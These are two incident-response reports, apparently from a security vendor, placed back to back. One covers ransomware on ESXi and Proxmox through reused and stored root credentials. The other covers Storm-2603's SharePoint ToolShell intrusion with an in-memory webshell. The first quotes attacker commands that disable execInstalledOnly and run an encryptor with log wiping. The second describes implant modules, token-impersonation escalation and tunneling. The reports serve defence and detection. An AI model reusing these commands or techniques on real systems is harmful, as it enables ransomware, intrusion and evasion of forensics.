Introduction

Incidents in virtual environments can begin with a software vulnerability, human error, a configuration weakness, or several of these factors at once. The investigation is rarely limited to the workload. Hypervisors, container runtimes, management consoles, monitoring platforms, identity systems, virtual networks, datastores, backups, and automation accounts all influence what an attacker can reach.

Kaspersky GERT recently investigated two more ransomware cases on ESXi and Proxmox environments in which weak access controls, insufficient network separation, exposed administrative services, and poor management of privileged credentials contributed to the impact. A monitoring system that could reach the virtualization layer also exposed a reusable root credential. Once the attacker controlled that route, ordinary administrative access was enough to affect several hosts. No VM escape was required.

The incidents show why patching and secure configuration must be managed together. A fully patched hypervisor can still be compromised through a shared password, an overprivileged monitoring account, an open SSH path, or an administrator interface reachable from a general server network. NIST guidance places secure configuration baselines, restricted administrative access, current patches, and monitoring across all layers within the same set of sound security practices.

In this article, we’re going to describe both incidents with additional focus on common unsafe practices that were exploited, leading to compromise, as well as remediation tactics. We’ll also discuss the broader scope of threats targeting virtual environments for a better understanding of possible protection strategies.

The connected system defenders must protect

A business virtual environment is not just Hyper-V, VMware, or Docker but rather a connected stack. Management consoles, orchestration tools, monitoring platforms, and automation accounts sit above hypervisors and container engines. Registries, image stores, virtual switches, datastores, and backup systems connect the layers. Applications and business services run at the bottom, while much of the administrative power sits near the top.

The important boundaries extend beyond guest to host. They include workload to management plane, monitoring system to hypervisor, registry to deployment, administrator workstation to console, management plane to storage, and one virtual network segment to another. An attacker only needs one usable route. The possibility of compromise may lie in one stolen or insecurely placed administrator credential rather than in a complex escape exploit. In the GERT case, the compromise route passed through the monitoring platform and included a valid virtualization platform credential.

Case #1: From network monitoring to ESXi encryption

The investigation began with evidence of BlackNevas ransomware activity on a Windows system in a virtualized domain controller segment. UserAssist artifacts recorded execution of the AnyDesk RMM tool and GMER binaries. The environment also used PRTG Network Monitor to monitor its virtual infrastructure.

The available evidence showed that the PRTG deployment had broad access to the ESXi hosts and that the same root password was reused across several nodes. After obtaining access to the monitoring environment, the attacker used the ESXi credential to connect over SSH to the hosts that shared the same password. This design joined monitoring, credential storage, and direct administration into one attack path.

PRTG supports storing VMware credentials at the device or inherited group level. That feature is operationally useful, but a monitoring server becomes privileged infrastructure when it holds credentials that can administer the systems it observes. The security question is therefore not whether monitoring needs access, but whether the identity, privileges, storage method, and permitted network path are limited to the monitoring task.

The threat actor gained root access to the ESXi environment and used the esxcli command to bypass the system restriction by disabling the execInstalledOnly policy to execute the encryption binary and also perform anti-forensic log deletion. Let’s look closely at the timeline of the initial host compromise.

ESXi (192.168.*.*) timeline

2025-10-18 Connection attempts from IP address 192.168.*.*.
2025-10-19 During an SSH session by root from IP 192.168.*.*, the file esx is uploaded to the system.
2025-10-19 User "root" attempts to execute the binary esx with the error "Execution of non-installed file prevented".
	chmod 777 esx
	./esx /log
2025-10-19 User "root" deactivates the execInstalledOnly option.
	esxcli system settings advanced set -o 
	/User/execInstalledOnly -i 0
2025-10-19 User "root" executes the malware esx.
2025-10-19 New connection attempts from IP 192.168.*.*.

Now, at the same time, the following activities ensued on a different host with the same password for the root user:

ESXi (172.16.*.*) timeline

2025-10-19 SSH connection by user "root" from IP 172.16.*.*.
2025-10-19 User "root" executes the malware esx and clears the logs.
	chmod a+x esx && chmod 777 esx
	./esx /selftest
	nohup ./esx /p /vmfs/ /depth 5 /log /wipe
	./esx /depth 5 /log /wipe

Case #2: Credential notes impacting the whole Proxmox environment

GERT responded to a ransomware incident by The Gentlemen group, in which the threat actor gained access to Proxmox using information collected during the dwell time between initial access and visible impact. On a compromised system administrator workstation, the actor discovered administrative credentials and access details stored in notes in plain text. These records provided the information needed to log in to Proxmox using the root account.

The actor then activated the VNC web socket through the compromised root account, gaining extensive control over the Proxmox environment. This access was subsequently used to download and execute ransomware within the cluster, which resulted in the encryption of the entire virtual environment. Below are the log records showing the root account being used to access other hosts via a VNC web socket.

root@pam [01/08/2026:00:28:36 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:30:17 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:31:19 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:43:38 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****
root@pam [01/08/2026:00:44:49 -0400] "GET /api2/json/nodes/******/vncwebsocket?port=5900&vncticket=****

This incident is a clear example of the risks of storing privileged credentials in unsecured notes or other easily accessible files. Once the administrator workstation was compromised, the saved credentials allowed the actor to move from a single endpoint into the virtualization management layer. Because the credentials belonged to a highly privileged root account, one poor credential handling practice significantly increased the scope and impact of the attack. Privileged credentials should instead be stored in an approved password manager or privileged access management system, protected with multifactor authentication and rotated immediately if an administrator workstation is suspected of being compromised.

Why the misconfiguration caused broad impact

Both cases exhibited unsafe misconfiguration practices whose exploitation led to a bigger impact on the host system. Next, we will break down each misconfiguration to see how it enabled further compromise and what should be done to avoid it.

Monitoring inherited excessive privilege

In Case 1, the monitoring platform could do more than collect health and performance data. It held or could use credentials with enough privilege to reach ESXi directly. A compromise of the monitoring system therefore became a compromise of the management plane. Monitoring identities should be dedicated to the task and given only the permissions required by the deployed sensors.

Credential reuse

Password reuse converted one recovered secret into farm-wide access. System administration should use named identities through the central management plane. Each host should have unique credentials and proper password storage hygiene. Password strength alone does not limit the impact of theft, but where the credential can be used and where it is stored do.

Direct root access bypassed central control

Direct SSH access allowed the actor to authenticate as root, upload a binary, and change a security setting without first passing through vCenter role controls. Broadcom, the parent company of VMware, recommends managing vSphere through vCenter, disabling SSH during normal operation, and using Lockdown Mode where suitable. Required service accounts should be explicit exceptions rather than members of a broad administrator group.

Lack of enhanced security settings

The initial execution attempt was blocked by execInstalledOnly, but the attacker had enough privilege to disable this policy. Broadcom documents enforcement options that combine execInstalledOnly with UEFI Secure Boot and TPM-backed configuration protection. These controls must be enabled, tested, and monitored for change. A setting that can be silently disabled by the same credential used for daily administration provides limited resistance after account compromise.

Unsafe credential storage

Case 2 demonstrated the possibility of compromise lying in privileged credential exposure. The mitigation strategy involves not only securing the administrative credential storage but also general hardening practices of secret handling, such as privilege management and regular access audits.

How to close this attack path

In this section, we share remediation advice on how to mitigate such attacks, and detect and prevent them from going further. We recommend the following actions:

• Separate monitoring from administration. Create a dedicated monitoring identity for each platform and restrict it to the smallest set of objects and actions that the monitoring sensors require. Do not use ESXi root or another emergency account for routine polling. Prevent monitoring servers from starting interactive administrator sessions unless a separately approved support workflow requires it. The same principle applies beyond VMware.
• Replace stored root passwords. Locate every copy of hypervisor, management, storage, and backup credentials in monitoring tools, scripts, scheduled tasks, connection managers, and service configurations. Replace static passwords with vault retrieval, brokered identities, or limited API tokens where the platform supports them. Record every retrieval and rotate the secret after emergency use or compromise.
• Restrict direct host access. Route normal ESXi administration through vCenter and enable an appropriate Lockdown Mode after testing monitoring, backup, and recovery dependencies. Keep ESXi Shell and SSH stopped by default. When support work requires SSH, enable it for a defined period, restrict the source, and alert on service activation, root login, and changes to the exception list of users who are allowed to connect via SSH.
• Use a specialized security solution. In our portfolio, Kaspersky Cloud Workload Security (KCWS) is perfectly suited to address virtual environment risks, offering a powerful combination of two products: Kaspersky Hybrid Cloud Security (KHCS) and Kaspersky Container Security (KCS). Kaspersky Hybrid Cloud Security is specifically built to secure virtualized infrastructures, private data centers, and hybrid clouds. A patented Light Agent architecture minimizes resource impact without compromising performance, while comprehensive infrastructure visualization through a unified console gives administrators complete visibility and control over the entire hybrid network. Kaspersky Container Security covers every stage of a containerized app’s lifecycle, from development to operation. Among other capabilities, the solution allows for detecting misconfigurations using a dedicated scanner for images, file systems, and repositories that contain IaC files (such as Terraform, CloudFormation, Azure ARM templates, Helm charts, and Dockerfiles).
• Treat configuration changes as security events. Alert when execInstalledOnly, Secure Boot enforcement, Lockdown Mode, SSH, local accounts, exception users, firewall rules, or remote logging settings change. Baseline the expected state and test whether the security team can detect an unauthorized change. A secure configuration set once does not mean that the control remains active on the host.
• Isolate the management network. Place hypervisor, monitoring, backup, storage, and cluster administration on restricted management networks. Permit only the exact source and destination services required. Administrative workstations should enter through hardened jump hosts with named identities and multifactor authentication.
• Protect logs, backups, and recovery. Forward ESXi, vCenter, Proxmox monitoring, identity, and network logs to protected storage that a compromised administrator cannot erase. Backup platforms should use separate identities, restricted management paths, and recovery copies outside ordinary administrative reach.

Configuration checks for monitored virtualization

Below are recommended checks to run when enabling virtualization monitoring. The safest state depends on the platform and monitoring method, but each control should be tested.

Control area	Safer state	Verification
Monitoring identity	Dedicated service account or token with only required read and polling rights	Review assigned roles and test every sensor without root or global administrator access
Credential storage	No recoverable host root password on a monitoring or general-purpose server	Review tool configurations, scripts, scheduled tasks, and connection stores for embedded credentials, access tokens, or other secrets
Network path	Monitoring reaches only required polling services while administration uses a jump host	Test management ports from monitoring server, user segments and untrusted network segments
Direct host access	Lockdown Mode where suitable with SSH and ESXi Shell stopped by default	Attempt direct client API and SSH access to host using a routine account
Configuration integrity	Secure Boot and execInstalledOnly enforcement enabled where supported and tested	Change a test setting through the approved process and confirm an alert is generated
Evidence	Host, management, identity, monitoring, firewall, and PAM logs stored remotely	Generate successful and failed logins and verify source, account, host, time, and action

The wider attack surface

Closing the monitoring and credential routes does not secure the environment by itself. Virtualization also relies on isolation boundaries, trusted images, management APIs, virtual networks, storage, and backups. Each layer requires a different control and leaves evidence in a different place.

VM and container escapes

In a VM escape, code inside a guest reaches past the VM boundary and affects the host or another guest. The weakness may be in a virtual device, an integration feature, a hypercall interface, or another component that translates guest requests for the host. If the escape works, control of one VM may lead to control of the physical server and every workload on it. VMware CVE-2025-22224 showed this risk: an attacker with administrator rights inside a VM could execute code as the VMX process on the host, and Broadcom reported exploitation in the wild.

A container escape can reach a similar result, but the starting point is different. Linux containers share the host kernel, so their isolation model differs from that of a VM. Namespaces limit what processes can see, cgroups control resource use, and capabilities split root privileges into smaller parts. A kernel or runtime bug can break this isolation. Copy Fail (CVE-2026-31431) is a good example of a kernel flaw. Code already running in a container could use a Linux AF_ALG crypto socket to change pages in the shared Linux kernel page cache. Because the host and other containers may read the same cached pages, the effect did not have to stay inside one container. The fix is a kernel update; Docker Engine 29.4.3 also tightened its default security profiles to reduce exposure on hosts that had not yet been patched.

Unsafe settings can also break the boundary. Privileged mode, excessive capabilities, writable host mounts, or access to the Docker socket may remove isolation without any software exploit. For instance, runc CVE-2024-21626 involved leaked file descriptors that could expose the host filesystem to a malicious image or container process.

This difference changes the investigation. A VM can often be treated like a separate computer with its own kernel, memory, and disk. A container is a group of host processes placed inside namespaces. If investigators collect only the container filesystem, they may leave the most useful process, socket, and control-plane evidence on the host.

Images and templates

A compromised golden VM image or container base image can spread through normal automation. Common weaknesses include unofficial public images, mutable tags, overprivileged build tokens, recoverable secrets in older layers, and stale templates that restore vulnerable software or forgotten accounts. Scanning might help, but it does not establish who built the artifact or whether the exact image tested and approved was the one ultimately deployed to production. Use controlled builders, provenance records, signature checks, and planned rebuilds from trusted sources.

Management tools and APIs

A stolen vCenter identity, exposed Docker API, overpowered Portainer role, or compromised backup console may give an attacker an easier route than an escape exploit. Portainer advisory GHSA-7fw3-x4r2-g7wc showed how a proxy validated one bind-mount representation but missed an equivalent API form, allowing an authenticated non-administrator with container creation privileges to reach host paths. The runtime performed a valid request after authorization had already failed in the management layer.

Administrative file-copy operations also deserve attention. Docker fixed archive and mount-handling flaws in CVE-2026-41567, CVE-2026-41568, and CVE-2026-42306. These cases required particular conditions and operator or API activity. They are a reminder to patch the daemon and record who initiated copy operations, which container was involved, the source and destination paths, and the result.

Virtual networks, storage, and backups

East-west traffic between virtual workloads may stay inside one host and bypass a physical sensor. Management, migration, storage, and workload traffic should use separate zones with filtering between them. Snapshot and memory files may contain credentials, while weak datastore permissions can expose whole virtual disks. Backup systems need broad access to recover services, which also makes them valuable to an attacker who wants to delete recovery points or reach several hosts.

Attack surface examples by layer

To sum up, the described attack vectors might be mitigated as follows:

Attack surface	Initial access	Possible impact	Primary control
Credentials and configuration	Password recovered from monitoring or an overprivileged account	Direct control of several hypervisor nodes	Unique vaulted credentials, segmented access, and configuration monitoring
VM escape	Administrative access or code execution privileges inside a guest plus a hypervisor flaw	Host process or neighboring workload compromise	Patch the hypervisor and reduce risky virtual devices and guest privilege
Malicious container affecting kernel or runtime	Code in a container or a malicious image	Host filesystem, kernel, or shared cache impact	Patch kernel and runtime, and remove privileged settings
Images and templates	Compromised build input registry or golden image	Repeated deployment of the compromise	Immutable digests, controlled builds, provenance, and verification
Management API	Stolen identity exposing endpoint or authorization gap	Fleet-wide administrative actions	MFA, least privilege, network restrictions, and complete API validation
Networks, storage, and backups	Flat network or broad datastore and access through backups	Lateral movement, data theft, encryption, and recovery loss	Segmentation, least privilege, protected backups, and traffic monitoring

Conclusion

GERT cases that we presented in this article did not require an attacker to break the VM boundary. The attack path was created by an overprivileged monitoring relationship, an insecure password storage approach, a recoverable and reused root credential, broad management-network reachability, and direct SSH administration. Each element was legitimate on its own, but together they allowed one compromise to reach virtualization hosts and their workloads.

Misconfiguration should therefore receive the same operational attention as vulnerability management. Teams need to know where privileged credentials exist, which systems can use them, which network paths make them effective, and which logs will show their use. Escape flaws, unsafe images, API weaknesses, virtual network exposure, and attacks on storage or backups remain serious, but closing the known administrative route should come first.

Executive summary

In 2025, several threat actors exploited CVE-2025-53770 and CVE-2025-53771 (ToolShell vulnerabilities) in on-premises Microsoft SharePoint to achieve remote code execution through crafted HTTP requests. One of the threat actors deployed ransomware on the target’s systems after successful exploitation. Microsoft attributed this ransomware-related ToolShell activity to Storm-2603, distinguishing it from other actors whose observed activity was primarily focused on credential theft, espionage, and data exfiltration.

In December, our retrospective analysis identified activity consistent with Storm-2603’s TTPs. This activity involved the attacker using the IIS worker process as an in-memory bridge to the customer’s infrastructure, keeping the access and control layer entirely within w3wp.exe without writing anything to disk. Although subsequent post-exploitation activity generated disk artifacts, the bridge used to maintain access remained memory-resident.

Let’s look in more detail at this attack.

Intrusion timeline: Strategic latency and exploitation

The intrusion analyzed in this report occurred in two stages, with a temporal gap between initial access and subsequent exploitation activity. The attack timeline was as follows:

• Dec 20 – Vulnerability fingerprinting: A single HTTP request targeted a SharePoint administrative endpoint associated with the ToolPane component to determine whether the host was vulnerable to CVE-2025-53770.
• Dec 21-23 – Tactical latency: A three-day period of silence followed the initial probe, separating the vulnerability fingerprinting from subsequent malicious activity and potentially reducing the likelihood of immediate detection.
• Dec 24 – High-intensity re-engagement: On Christmas Eve, when security staffing at many companies is reduced, the full RCE chain was executed through the IIS worker process (w3wp.exe) on the same endpoint as the initial probe.
• Dec 26 – Incident discovery: The three-day gap initially prevented the December 20 probe from being correlated with subsequent malicious activity, marking the event as low priority. Retrospective analysis established that the probe was the initial phase of the subsequent intrusion.

Initial access validation phase

Vulnerability fingerprinting

A vulnerability fingerprinting request on December 20 marked the first observed interaction with the target. The request originated from infrastructure associated with ONYPHE, an internet-scale attack surface discovery and management platform for identifying exposed assets, vulnerabilities, and cyberthreats. Unlike widely used tools such as Shodan and Censys, which merely provide a list of internet-facing assets correlated with the open-source data about known vulnerabilities, ONYPHE actually checks if the target system is vulnerable.

The request characteristics were consistent with ONYPHE’s vulnerability checks, which use active, non-intrusive probes to identify internet-exposed systems vulnerable to specific CVEs. For ToolShell, ONYPHE adopted the approach used by Niels Hofmans (hazcod). Namely, it attempts to inject a harmless marker into the target server to find out if it is vulnerable.

This phase served as a validation step against the SharePoint execution surface exposed over HTTP:

• The target processed structured requests through the ASP.NET pipeline without rejection.
• The request path reached application logic capable of handling serialized input.
• No defensive controls interrupted or altered the execution flow at the application boundary.

Approximately 12 minutes later, a second inbound connection originated from infrastructure associated with Pfcloud UG, a provider operating under a bulletproof hosting (BPH) model. Given the timing and the IP’s documented history of scanning and abusive activity, the connection may represent follow-on reconnaissance against the newly identified target. No exploitation was attempted at this stage.

Active exploitation: Santa took your data and left a backdoor

The main malicious activity occurred on December 24. The actor targeted the same SharePoint host with a crafted request from 45.91.94.204 (45.91.92.0/22, ASN 63473, HostHatch, LLC). This resulted in a webshell execution within the IIS worker process (w3wp.exe). The payload was not written to disk; rather, it was loaded directly into the ASP.NET runtime and used during subsequent request processing. The implant remained resident for the lifetime of the affected application domain. This runtime state was lost when the application pool was recycled or IIS was restarted.

Attack originated from an SPN node

The IP address 45.91.94.204 is a Safing Privacy Network (SPN) node. SPN routes each connection through a multilayer VPN path with multiple relay nodes that can obscure the originating IP.

SPN promotes itself as a network that offers strong privacy protection for internet traffic. Its infrastructure resembles Tor’s in many ways, but with some differences. It features the following capabilities:

• Speed: Near-VPN performance for high-speed data transfer.
• Layer 3 support: Supports multiple protocols like TCP, UDP, ICMP (unlike Tor, which only supports TCP).
• App-routing: Direct tunneling without a browser.
• Multi-identity: Simultaneous exit nodes to bypass IP rate limits.
• Fixed-size packets and padding make it harder to analyze its traffic.

It is less common than Tor, and frequently bypasses standard Tor blocklists.

Webshell architecture

The webshell the attackers injected into the w3wp.exe runtime is a multi-module in-memory framework, where execution is orchestrated through the main component (G.cs) and extended via multiple functional units across namespaces.

The implementation follows a modular C# project structure in which each capability is isolated into its own compilation unit and invoked dynamically at runtime.

“G.cs” pipeline control and C2

Pipeline control

The main webshell component is G.cs. It orchestrates the implant’s execution context, lifecycle, C2 and session management.

To ensure persistence within the runtime, G.cs performs the following actions:

• Registers a custom VirtualPathProvider using the non-public RegisterVirtualPassProviderInternal method from the ASP.NET HostingEnvironment class so that ASP.NET uses it for virtual-path processing. The provider is automatically added to the chain of registered virtual path providers.
  
• Delegates the provider’s .NET Remoting lifetime policy to the previous provider in the chain, preserving the existing lifetime behavior.
  

Additionally, to evade defenses and enable the VirtualPathProvider to be registered even if the application in whose AppDomain the webshell is running is precompiled, the module implements the trust control subversion (T1553) technique:

• Uses reflection to check if the application is precompiled.
• Extracts pointers for internal state fields for the BuildManager class, which manages application compilation, and modifies them at runtime.
  
• Uses reflection once again to force runtime injection.

G.cs uses the GetCacheKey() function as the interception point for the virtual path processing flow. It processes incoming requests to the SharePoint server and checks their headers to filter out requests from the attacker.

The specific User-Agent in the request headers triggers the webshell execution. If the request doesn’t match this condition, the implant remains dormant, making its traffic harder to recognize.

Command and control layer (in-memory transport)

The same core module (G.cs) implements the communication layer.

Instead of relying on external frameworks or standard beacons, it uses a custom binary protocol with XOR-based obfuscation to exchange data with the C2. These communications blend into normal application traffic. The module uses the GetCacheKey() hook to intercept standard HTTP requests. When a specific User-Agent is detected in the request headers, the module parses it, extracts the payload, and establishes a TCP connection to a target host inside the target’s network if needed.

G.cs establishes a full-duplex proxy tunnel to support interactive control. It stores active target sockets in memory to pair concurrent HTTP read and write channels.

TCP connections from the C2 server to arbitrary hosts inside the target network are supported for pivoting and lateral movement. The traffic is proxied through the SharePoint host.

As can be seen in the screenshots, the attackers used the suo5 tool to implement traffic proxying. Its authors promote it as a stable forward-proxying tool for scenarios where outbound internet connections are prohibited.

To increase its performance, G.cs manipulates ThreadPool by raising its limits for concurrent operations and maximum timeout.

“Prog.cs”: Execution entry point and task dispatcher

Prog.cs is the entry point that receives command-line arguments and passes them to uk/London.cs. The latter acts as the orchestrator, handling command parsing and privilege escalation (via named pipe impersonation). We’ll review it in more detail later. If the “suo5” command is provided, London.cs triggers G.cs to hook into the ASP.NET runtime as a memory shell. Once active, G.cs independently processes incoming web traffic inside the web server memory.

Host interaction modules

The following modules provide direct system interaction capabilities, each implemented as a separate unit. London.cs triggers these modules when it receives a corresponding command from Prog.cs.

“FileDownloader.cs”

The FileDownloader.cs module downloads arbitrary files from external URLs provided by the C2. It stores the downloaded files in the Program Data directory without any user interaction.

“LoggedOnUsers.cs”

This module enumerates logged-on users and identifies their session types (interactive, service, remote). The results are stored in memory. The attackers can retrieve them using the proxy and tunneling capabilities provided by G.cs.

“ProcessList.cs”

This module lists running processes with full paths to the corresponding executables on the disk. The results are stored in memory and the attackers can retrieve them via G.cs.

“NetworkInfo.cs”

This module extracts information about existing network connections, including protocols, local and remote IPs and ports, and connection state. It also enumerates network interfaces and headers. The results are stored in memory and can be retrieved by the attackers via G.cs.

“MSI.cs”

This module silently installs and executes MSI packages previously downloaded by FileDownloader.cs.

“User.cs”

This module creates administrative accounts using the native SAM RPC subsystem (SAMRPCNative namespace) rather than standard command-line tooling. This may indicate an attempt to evade detection and provide the attackers with privileged stealthy access to target systems that persists after the webshell has finished its work.

SAMRPCNative

The SAMRPCNative namespace implements a low-level C# P/Invoke wrapper for the native Windows samlib.dll library, comprising three types: SAMStructs.cs, SAMMethods.cs, and SAMEnums.cs.

“SAMEnums.cs”

Implements structured bitwise lists and constant flags mapping numeric codes to their security meaning in SAM, and translates system status return codes.

“SAMStructs.cs”

Defines native data structures required for P/Invoke memory alignment and for marshalling. It securely formats and aligns data structures.

“SAMMethods.cs”

Contains external API declarations (P/Invoke) imported from samlib.dll to perform actions such as connecting to the SAM server, creating users and opening domains.

This layer is crucial for the attackers because it enables account operations.

Privilege escalation

The uk namespace contains offensive primitives for privilege escalation. To elevate privileges to SYSTEM, it uses a local token impersonation technique via the Encrypting File System Remote Protocol (EFSRPC) interface adopted from the EfsPotato tool.

This functionality is implemented in the uk/London class. It creates a malicious named pipe while the EfsrTiny class (a tiny version of the EfsPotato tool) connects to the LSASS.exe RPC server. Then it’s London.RpcThread function calls the EfsRpcEncryptFileSrv function from EfsrTiny with a crafted \\localhost path. This tricks LSASS.exe into connecting back to the attacker’s named pipe. Finally, the London.Exp function uses ImpersonateNamedPipeClient to coerce and impersonate the LSASS.exe token and spawn a new process via CreateProcessAsUser with SYSTEM privileges. As the webshell resides in the IIS worker process, it has the necessary SeImpersonatePrivilege to perform this technique.

The uk namespace also implements a minimal MSRPC client layer by explicitly defining structures such as RPC_CLIENT_INTERFACE and MIDL_STUB_DESC, thereby spoofing an interface stub. This enables direct interaction with the Windows RPC runtime (Rpcrt4.dll) without relying on MIDL-generated stubs or higher-level RPC abstractions. This provides direct control over binding and marshaling that goes beyond the constraints of standard client APIs.

Post-exploitation activity

Shortly after the webshell injection, the infected worker process spawned msiexec.exe to install a remote MSI payload hosted in Supabase cloud storage. The payload was Velociraptor, an open-source digital forensics and incident response tool – namely version 0.73.4.0 vulnerable to CVE-2025-6264 – that the attackers abused for command execution on the target network.

In October 2025, Cisco Talos reported Velociraptor being leveraged by threat actors as a post-compromise execution framework and attributed this activity to Storm-2603. This tool enables arbitrary command execution, and can be used for various purposes. In our case, it was used for persistence, discovery, data collection and payload execution.

The threat actor used Velociraptor to deploy multiple independent tunneling mechanisms, including Zoho Assist-Unattended Support for unauthorized remote access, VS Code CLI tunneling, Cloudflare Tunnel, and a lightweight reverse proxy utility. By doing so, they attempted to maintain access even if some of their tools were detected and deleted. At this stage, they also no longer depended on the IIS worker process lifecycle and ToolShell vulnerability.

EDR-killing attempts

Once the threat actor had access to the target system, they were able to upload a vulnerable driver that is used by many attackers to terminate EDR solutions. We were able to detect the main driver at C:\programdata\rsndispot.sys (054a32d6033b1744dca7f49b2e466ea2). In addition, the adversary used a malicious DLL (2d9ebf9c042f596f435865b40edad928) in a sideloading attack. This DLL was identified as Warlock ransomware’s AV killer. It was possibly intended to kill security solutions using the vulnerable rsndispot.sys driver.

Ransomware deployment attempt

The attackers made attempts to launch ransomware on the compromised system. However, the Proactive Defense Module in Kaspersky Endpoint Security blocked the ransomware process, effectively preventing this activity. The malware DLL we obtained was identified as Warlock ransomware.

What defenders really need to look for

ToolPane deserialization and CLR artifacts

When the attackers tried to access ToolPane, both the dynamically compiled App_Web_toolpane.aspx assembly and the Microsoft.GeneratedCode helper assembly were present within the same application domain.

Both assemblies are used in legitimate scenarios. App_Web_* assemblies are generated during normal ASP.NET page compilation, while Microsoft.GeneratedCode is typically produced by the XmlSerializer during legitimate serialization workflows. However, a request to the ToolPane endpoint that results in immediate loading of Microsoft.GeneratedCode within the same execution window indicates that the runtime is processing serialized data supplied through the request.

Detecting deserialization exploitation

First, it is highly recommended to read this article (in Russian) on how deserialization exploit attempts in the CLR should be detected, with examples of YARA rules and monitoring recommendations. A summary of the main idea of the detection logic is provided below.

Deserialization vulnerabilities should be treated as a distinct class of exploitation events. In the CLR, deserialization is not merely the conversion of bytes into values – it is the reconstruction of an object graph from an incoming stream. Serialization and deserialization are performed by formatters. One of the most widely used formatters is BinaryFormatter. It uses the NRBF format, which defines the stream as a sequence of records describing classes, arrays, primitives, and references between objects. The shape of the resulting graph is determined by the data supplied to the deserializer. This means that the input stream defines not only the values but also the specific types, relationships, and lifecycle points that the runtime must materialize.

Microsoft states explicitly that BinaryFormatter is unsafe and cannot be made safe; beginning with .NET 9, the in-box implementation is effectively removed from ordinary use. However, Microsoft continues to use it in its products, including SharePoint, because it is powerful and easy to use. To fix BinaryFormatter-related issues, architectural changes are needed. Similar warnings also apply to related unsafe mechanisms, including LosFormatter (used in the vulnerable page).

The primary risk of unsafe deserialization is that the CLR may resolve unexpected types, instantiate objects outside normal constructor invariants, and invoke special lifecycle mechanisms such as ISerializable, IObjectReference, IDeserializationCallback, and methods marked [OnDeserialized]. In other words, the attacker-controlled data can force the runtime to construct a graph containing types with executable side effects.

A practical detection strategy should therefore focus on graph-construction artifacts. CLR loader events identify the relevant assemblies and application domains. Memory and metadata inspection then reveal the type names and generated serializer structures associated with the suspected gadget chain. In ToolShell-like scenarios, unsafe deserialization usually produces helper assemblies (evidence in loader events) with metadata containing fully qualified type names, gadget class names, and string representations of the constructed generic types (just scan via YARA for it). In our case, the artifacts to look for include Microsoft.GeneratedCode, App_Web_toolpane.aspx* (evidence of deserialization in loader events) as well as strings identifying ObjectDataProvider, ExpandedWrapper, and LosFormatter (evidence that the input stream was deserialized into dangerous objects). Note that these indicators are not significant in isolation; their value lies in the fact that they show the runtime has already received data requiring helper code generation to reconstruct a dangerous object graph.

Gadget objects that exploit vulnerabilities like those associated with ToolShell are conveniently represented in corpus-style tooling such as ysoserial.net/YSoNet, which aggregate known gadget chains for unsafe .NET deserialization. For defensive purposes, the value of these projects lies not in their offensive capability but in the catalog of types and structures that can be searched for in streams, memory, and helper assemblies. The presence of any of them in memory or in a helper assembly should be treated as a strong indicator of exploitation.

To simplify deserialization exploit detection, we created a tool named CLRDeserializationExploitFinder. It can detect ToolShell exploitation attempts, as well as other gadget chains covered by ysoserial.net.

Detecting a VPP-based webshell/runtime implant

A mechanism based on VirtualPathProvider should be treated as a separate class of runtime implant (no files involved). In ASP.NET, HostingEnvironment.RegisterVirtualPathProvider registers a new virtual-path provider (VPP) in the application’s compilation system. Once registered, the application can serve virtual paths during dynamic compilation as though they were ordinary on-disk pages. Dynamic compilation does not require the payload to exist as a file in the filesystem. It operates entirely within the trust boundary of the application itself. During the compilation process, temporary files may be generated, but they cannot be treated as reliable forensic artifacts. Because VPPs can also be used for legitimate purposes, the defensive model should begin with an inventory of the legitimate VirtualPathProvider implementations. In all other cases, the registration or use of a new VPP should be considered anomalous.

To see how the dynamic generation of virtual pages using ASP.NET, IIS, and the CLR works, and to learn how to detect such activity, use our project VirtualPathProvider Lab.

The most useful telemetry source for this technique is the Microsoft-Windows-IIS-Configuration ETW provider. To detect virtual paths, events 25 and 47 are of primary value. Event 25 records the mapping of ConfigPath to PhysicalPath, and event 47 records the mapping of the configuration path to a directory. In the case of a VPP-backed path, these events create an inconsistency: IIS and ASP.NET behave as if the path has a physical representation, while the corresponding file does not exist on disk. In the example provided by VirtualPathProvider Lab, this appears as a mapping of the virtual resource googlecheck.aspx to a physical path where no real file is present. This discrepancy between configuration resolution and filesystem reality is the primary indicator of virtual content.

The second indicator is more negative than positive. For disk-backed files, IIS normally creates a FileChangeNotificationMonitor chain, as reflected in events 17, 18, 19, and 21. For virtual paths served by a custom VirtualPathProvider, this chain is absent or does not match the normal profile of an ordinary file because there is no physical object or corresponding on-disk change lifecycle. Consequently, the presence of positive events 25 and 47 combined with the absence of the expected events 17, 18, 19, and 21 for the same path forms a reliable detection pattern: the path exists for IIS as a configuration-resolved resource, yet it is not backed by the filesystem and is not accompanied by normal file-change monitoring.

To sum up, the hunting target here is the discrepancy between how IIS/ASP.NET resolves a resource and what is actually present on the disk and in the change-monitoring chain. For known applications, such cases can be filtered through an allowlist of legitimate VirtualPathProvider implementations. Anything else should be treated as a potential runtime implant and examined using ETW, filesystem verification, and memory inspection of the w3wp.exe process.

Attribution

Microsoft tracks Storm-2603 as a standalone threat actor with no known links to other groups. While they are careful about assessing the actor’s motivation, they mention that it has previously deployed Warlock and LockBit ransomware following active exploitation of on-premises SharePoint vulnerabilities. In the analyzed incident, we observed similar SharePoint exploitation activities, as well as an EDR killer associated with Warlock ransomware and unsuccessful Warlock launch attempts.

Other documented intrusions have identified Storm-2603 as leveraging known flaws within perimeter mail gateways to achieve initial access, subsequently staging the Velociraptor framework with elevated privileges and establishing persistent encrypted tunnels via commercial remote management software to orchestrate secondary lateral movement. This aligns with the post-exploitation behavior we observed in our case. Together with the ToolShell exploitation scenario, this allows us to attribute this case to Storm-2603 with moderate confidence.

Conclusion

From the incident analyzed in this article, the main defensive lesson is that exploiting an internet-facing SharePoint server can enable fileless code execution directly inside the application trust boundary. Storm-2603 did not require a conventional dropper, persistent service, or exposed C2 endpoint; instead, it deployed a webshell inside w3wp.exe, from which tunneling, privilege escalation, credential access, and lateral movement could be orchestrated. Detection therefore needs to move beyond file-based webshell hunting toward runtime behavior, such as anomalous w3wp.exe activity, unexpected outbound connections, RPC coercion, token impersonation, and the introduction of remote-management or DFIR tooling after application compromise.

